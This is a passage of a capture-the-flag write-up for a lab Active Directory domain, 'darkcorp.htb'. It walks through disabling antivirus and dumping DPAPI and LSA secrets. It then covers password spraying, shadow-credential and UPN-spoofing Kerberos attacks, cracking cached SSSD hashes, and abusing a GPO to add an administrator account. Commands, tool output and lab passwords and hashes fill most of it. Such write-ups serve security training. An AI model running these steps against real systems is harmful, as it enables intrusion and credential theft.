darkcorp\WEB-01$:plain_password_hex:4100520044006c002600710072005a00640022007400230061003d004f00520063005e006b006e004f005d00270034004b0041003a003900390074006200320031006a0040005a004f004f005c004b003b00760075006600210063004f0075002f003c0072005d0043004c004a005800250075006c002d00440064005f006b00380038002c00270049002c0046004000680027003b004500200021003b0042004d005f0064003b0066002300700068005500440069002f0054002300320022005f004c0056004c003c0049006f002600480076002c005d00610034005500470077004a0076005f003400740054004800
darkcorp\WEB-01$:aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x1004cecdc9b33080d25a4a29126d4590eb555c5f
dpapi_userkey:0x7f3f9f871ea1dafaea01ae4ccf6e3f7ee535e472
[*] NL$KM 
 0000   DD C9 21 14 B9 23 69 1B  D8 BE FD 57 6B 3C 3E E1   ..!..#i....Wk<>.
 0010   9D 3D 3F 74 82 AF 75 33  FD 74 61 6E B7 24 55 AF   .=?t..u3.tan.$U.
 0020   6F 61 A0 BC 2B 2A 86 CF  6E EC E0 D3 37 98 FE E5   oa..+*..n...7...
 0030   14 54 7D A9 A6 45 19 37  F1 20 24 4B 18 43 19 72   .T}..E.7. $K.C.r
NL$KM:ddc92114b923691bd8befd576b3c3ee19d3d3f7482af7533fd74616eb72455af6f61a0bc2b2a86cf6eece0d33798fee514547da9a6451937f120244b18431972
[*] Cleaning up... 
[*] Stopping service RemoteRegistry

Access as john.w

After accessing WEB-01 I can see that AV is enabled on the machine and I deactivate it. Then I upload SharpDPAPI to look for credentials and find But_Lying_Aid9! as password for the Administrator account used for a scheduled task.

PS > Set-MpPreference -DisableRealTimeMonitoring $true
 
PS > .\SharpDPAPI.exe machinetriage
 
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.2
 
 
[*] Action: Machine DPAPI Credential, Vault, and Certificate Triage
 
[*] Elevating to SYSTEM via token duplication for LSA secret retrieval
[*] RevertToSelf()
 
[*] Secret  : DPAPI_SYSTEM
[*]    full: 1004CECDC9B33080D25A4A29126D4590EB555C5F7F3F9F871EA1DAFAEA01AE4CCF6E3F7EE535E472
[*]    m/u : 1004CECDC9B33080D25A4A29126D4590EB555C5F / 7F3F9F871EA1DAFAEA01AE4CCF6E3F7EE535E472
 
 
[*] SYSTEM master key cache:
 
{0398c226-b529-40ce-8f26-9d125bacd246}:28D19153A3E41D3A615581AB8E72B55D143C3B5F
{37804100-9399-4783-8353-2422ef13aee6}:17316C6DB7FDA10461336208F9C457845C15EFC9
{a4ae82ac-1990-4b2a-81de-22f930f5a2a6}:CFCCEEAAACA2FF6D0971B684E7ADC9A21FAE2858
{b9f97cf8-ab4f-432b-90be-ec2c1313cf01}:053CD32F9169E99FFCCA5CC495695762851CD85A
 
 
[*] Triaging System Credentials
 
 
Folder       : C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
 
  CredFile           : 25EE02BE85D0F32011CE03B1B0D2FB47
 
    guidMasterKey    : {b9f97cf8-ab4f-432b-90be-ec2c1313cf01}
    size             : 560
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
    description      : Local Credential Data
 
    LastWritten      : 1/20/2025 2:01:28 PM
    TargetName       : Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6}
    TargetAlias      :
    Comment          :
    UserName         : WEB-01\Administrator
    Credential       : But_Lying_Aid9!
 
 
[*] Triaging SYSTEM Vaults
 
 
[*] Triaging System Certificates
 
 
Folder       : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
 
 
Folder       : C:\ProgramData\Microsoft\Crypto\Keys

With the password I rerun SharpDPAPI with the credentials command to look for credentials stored in current user context and automatically decrypting anything that is found. That uncovers another password: Pack_Beneath_Solid9!.

PS > .\SharpDPAPI.exe credentials /password:But_Lying_Aid9!
 
  __                 _   _       _ ___
 (_  |_   _. ._ ._  | \ |_) /\  |_) |
 __) | | (_| |  |_) |_/ |  /--\ |  _|_
                |
  v1.11.2
 
 
[*] Action: User DPAPI Credential Triage
 
[*] Will decrypt user masterkeys with password: But_Lying_Aid9!
 
[*] Found MasterKey : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500\189c6409-5515-4114-81d2-6dde4d6912ce
[*] Found MasterKey : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500\52f4da50-9381-4c66-89c9-38efdc4993d3
[*] Found MasterKey : C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-2988385993-1727309239-2541228647-500\6037d071-cac5-481e-9e08-c4296c0a7ff7
 
[*] User master key cache:
 
{52f4da50-9381-4c66-89c9-38efdc4993d3}:9B36321FBF8754E7B2FA687607E6F637C262B75B
{6037d071-cac5-481e-9e08-c4296c0a7ff7}:6E08761666A9819671BBC5BBACFB4671964367B7
 
 
[*] Triaging Credentials for ALL users
 
 
Folder       : C:\Users\Administrator\AppData\Local\Microsoft\Credentials\
 
  CredFile           : 32B2774DF751FF7E28E78AE75C237A1E
 
    guidMasterKey    : {6037d071-cac5-481e-9e08-c4296c0a7ff7}
    size             : 560
    flags            : 0x20000000 (CRYPTPROTECT_SYSTEM)
    algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256)
    description      : Local Credential Data
 
    LastWritten      : 1/16/2025 11:01:39 AM
    TargetName       : LegacyGeneric:target=WEB-01
    TargetAlias      :
    Comment          : Updated by: Administrator on: 1/16/2025
    UserName         : Administrator
    Credential       : Pack_Beneath_Solid9!

Next I generate a list of users in the domain with nxc and use to spray the passwords against all of them. One match is found. The password Pack_Beneath_Solid9! is also valid for user john.w.

$ proxychains -q nxc ldap dc-01.darkcorp.htb -u victor.r \
                                             -p 'victor1gustavo@#' \
                                             --users-export users.txt
 
$ proxychains -q nxc ldap dc-01.darkcorp.htb -u users.txt \
                                             -p 'Pack_Beneath_Solid9!' \
                                             --continue-on-success
LDAP        172.16.20.1     389    DC-01            [*] Windows Server 2022 Build 20348 (name:DC-01) (domain:darkcorp.htb)
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\Administrator:Pack_Beneath_Solid9! 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\Guest:Pack_Beneath_Solid9! 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\krbtgt:Pack_Beneath_Solid9! 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\victor.r:Pack_Beneath_Solid9! 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\svc_acc:Pack_Beneath_Solid9! 
LDAP        172.16.20.1     389    DC-01            [+] darkcorp.htb\john.w:Pack_Beneath_Solid9! 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\angela.w:Pack_Beneath_Solid9! 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\angela.w.adm:Pack_Beneath_Solid9! 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\taylor.b:Pack_Beneath_Solid9! 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\taylor.b.adm:Pack_Beneath_Solid9! 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\eugene.b:Pack_Beneath_Solid9! 
LDAP        172.16.20.1     389    DC-01            [-] darkcorp.htb\bryce.c:Pack_Beneath_Solid9!

Shell as angela.w.adm

BloodHound showing an edge between john.w and angela.w

The account john.w has a GenericWrite over angela.w and via certipy I add shadow credentials to get a TGT and the NTLM hash of the account.

$ proxychains -q certipy-ad shadow -account angela.w \
                                   -u 'john.w@darkcorp.htb' \
                                   -p 'Pack_Beneath_Solid9!' \
                                   auto
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Targeting user 'angela.w'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '607dd860-0d3a-2f77-1a4c-d53c7e586abe'
[*] Adding Key Credential with device ID '607dd860-0d3a-2f77-1a4c-d53c7e586abe' to the Key Credentials for 'angela.w'
[*] Successfully added Key Credential with device ID '607dd860-0d3a-2f77-1a4c-d53c7e586abe' to the Key Credentials for 'angela.w'
[*] Authenticating as 'angela.w' with the certificate
[*] Using principal: angela.w@darkcorp.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'angela.w.ccache'
[*] Trying to retrieve NT hash for 'angela.w'
[*] Restoring the old Key Credentials for 'angela.w'
[*] Successfully restored the old Key Credentials for 'angela.w'
[*] NT hash for 'angela.w': 957246c8137069bca672dc6aa0af7c7a

No outbound connections from angela.w is visible but there’s a similar sounding account called angela.w.adm that is part of the Linux admins. There’s the possibility of spoofing an account by setting up the userPrincipalName and requesting a TGT while specifying NT-ENTERPRISE as name type2.

Through bloodyAD I set the userPrincipalName of angela.w to angela.w.adm and then request a new TGT for the admin account with the NTLM hash of the regular one. With the flag -principalType NT_ENTERPRISE this is successful and a ticket is placed into the ccache file.

$ proxychains -q bloodyAD -d darkcorp.htb --host dc-01.darkcorp.htb \
										  -u john.w \
                                          -p 'Pack_Beneath_Solid9!' \
                                          set object angela.w userPrincipalName -v angela.w.adm
[+] angela.w's userPrincipalName has been updated

$ proxychains -q impacket-getTGT darkcorp.htb/angela.w.adm \
                                 -hashes :957246c8137069bca672dc6aa0af7c7a \
                                 -principalType NT_ENTERPRISE
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in angela.w.adm.ccache

Getting this to work over the network is somewhat tricky and therefore I transfer the ccache onto the Linux target via scp. Exporting the KRB5CCNAME environment variable and then using ksu changes my user to angela.w.adm.

$ export KRB5CCNAME=angela.w.adm.ccache
 
$ ksu angela.w.adm -n angela.w.adm@DARKCORP.HTB
Authenticated angela.w.adm@DARKCORP.HTB
Account angela.w.adm: authorization for angela.w.adm@DARKCORP.HTB successful
Changing uid to angela.w.adm (1730401107)

Shell as taylor.b.adm

Considering the account is part of the Linux admins it can execute anything as root and I can escalate my privileges right away.

$ sudo -l
Matching Defaults entries for angela.w.adm on drip:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
 
User angela.w.adm may run the following commands on drip:
    (ALL : ALL) NOPASSWD: ALL

Authenticating to the host obviously works through Kerberos and that might cache credentials locally as well. There are several candidates in /var/lib/sss/db with cache_darkcorp.htb.ldb sounding the most promising.

$ ls -la /var/lib/sss/db
total 5676
drwx------  2 root root    4096 May 22 15:35 .
drwxr-xr-x 10 root root    4096 Jan 10 11:51 ..
-rw-------  1 root root 1609728 May 22 15:38 cache_darkcorp.htb.ldb
-rw-------  1 root root    2615 May 22 15:35 ccache_DARKCORP.HTB
-rw-------  1 root root 1286144 May 21 12:20 config.ldb
-rw-------  1 root root 1286144 Dec 30 04:36 sssd.ldb
-rw-------  1 root root 1609728 May 22 15:38 timestamps_darkcorp.htb.ldb

Possible hashes can be extracted by using strings or a tool like SSSD-creds. Since the latter one requires certain utilities to be installed, I transfer the .ldb file to my machine and run the script there. This prints the hash for user taylor.b.adm, another one of the Linux admins. hashcat has no problem cracking and returns the cleartext password !QAZzaq1.

$ ./analyze.sh .
 
### 1 hash found in ./cache_darkcorp.htb.ldb ###
 
Account:        taylor.b.adm@darkcorp.htb
Hash:           $6$5wwc6mW6nrcRD4Uu$9rigmpKLyqH/.hQ520PzqN2/6u6PZpQQ93ESam/OHvlnQKQppk6DrNjL6ruzY7WJkA2FjPgULqxlb73xNw7n5.
 
  =====> Adding ./cache_darkcorp.htb.ldb hashes to hashes.txt <=====
 
$ hashcat hash /usr/share/wordlists/rockyou.txt
--- SNIP ---
$6$5<REMOVED>n5.:!QAZzaq1

Shell as Administrator

BloodHound shows some interesting information when looking up the account. taylor.b.adm is part of the Remote Management Users group and can be used to log into the Domain Controller via evil-winrm. Also that user has write privileges over the GPO SECURITYUPDATES that is linked to the DOMAIN CONTROLLERS organizational unit. Since the host DC-01 is member of the OU, I can use the GPO to escalate my privileges there and take over the domain.

BloodHound showing the connection from taylor.b.adm to the domain object

After getting a session on the host I run Get-GPO to look up the ID of the group policy object (also visible in BloodHound).

PS > Get-GPO -Name SECURITYUPDATES
 
 
DisplayName      : SecurityUpdates
DomainName       : darkcorp.htb
Owner            : darkcorp\Domain Admins
Id               : 652cae9a-4bb7-49f2-9e52-3361f33ce786
GpoStatus        : AllSettingsEnabled
Description      : Windows Security Group Policy
CreationTime     : 1/3/2025 3:01:12 PM
ModificationTime : 1/3/2025 4:01:12 PM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        :

I suspect AV running on that host as well and I decide to use pygpoabuse instead of SharpGPOAbuse to modify the GPO and add a new account called ryuki in the Administrators group.

$ proxychains -q python3 pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' \
                                       -gpo-id 652cae9a-4bb7-49f2-9e52-3361f33ce786 \
                                       -command "net user ryuki Password1234 /add && net localgroup Administrators ryuki /add" \
                                       -taskname "Important" \
                                       -description "Very Important" \
                                       -dc-ip 172.16.20.1
[*] Version updated
[+] ScheduledTask Important created!

Updates to GPOs are applied in specific intervals3 but with gpupdate /force I don’t have to wait. After the refresh I can see that my newly created account is part of the Administrators group and I can login to collect the final flag.

PS > gpupdate /force
Updating policy...
 
Computer Policy update has completed successfully.
User Policy update has completed successfully.
 
PS > net user ryuki
User name                    ryuki
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never
 
Password last set            5/22/2025 3:14:27 PM
Password expires             7/3/2025 3:14:27 PM
Password changeable          5/23/2025 3:14:27 PM
Password required            Yes
User may change password     Yes
 
Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never
 
Logon hours allowed          All
 
Local Group Memberships      *Administrators
Global Group memberships     *Domain Users
The command completed successfully.

Attack Path

flowchart TD

subgraph "Execution"
	A(Website Contact Form) -->|CVE-2024-42008/9| B(Exfiltrate emails)
	B -->|Email Content| C(Discover analytics dashboard)
	C -->|Password Reset & Exfiltrate Email| D(Access to dashboard)
	D -->|Postgres SQL injection| E(Shell as postgres)
end

subgraph "Privilege Escalation"
	E -->|GPG Decrypt File| F(Password Hashes)
	F -->|Crack Hashes| G(Shell as ebelford on DRIP) & H(Access as victor.r)
	H -->|Access to Monitoring Page on WEB-01| I(SSRF with NTLM authentication)
	I -->|"ntlmrelayx to relay SVC_ACC auth (ESC8)"| K(Create DNS record)
	K -->|Coerce WEB-01 and relay kerberos auth to DC| L(Certificate for WEB-01$)
	L -->|Silver Ticket| N(Access as Administrator on WEB-01)
	N -->|DPAPI| O(Passwords for Administrator)
	O -->|Password Spraying| P(Access as john.w)
	P -->|GenericWrite| Q(NTLM hash angela.w & Set UPN to angela.w.adm)
	Q -->|Request TGT with NT-ENTERPRISE hint| R(CCACHE for angela.w.adm)
	G & R -->|ksu on DRIP| S(Shell as angela.w.adm on DRIP)
	S -->|Cached Domain Credentials in sssd| T(Hash of taylor.b.adm)
	T -->|Crack Hash| U(Shell as taylor.b.adm)
	U -->|Modify GPO linked to DC| V(Shell as Administrator) 
end

Footnotes

  1. Silver Tickets

  2. A broken marriage abusing mixed vendor kerberos stacks

  3. Refresh Group Policy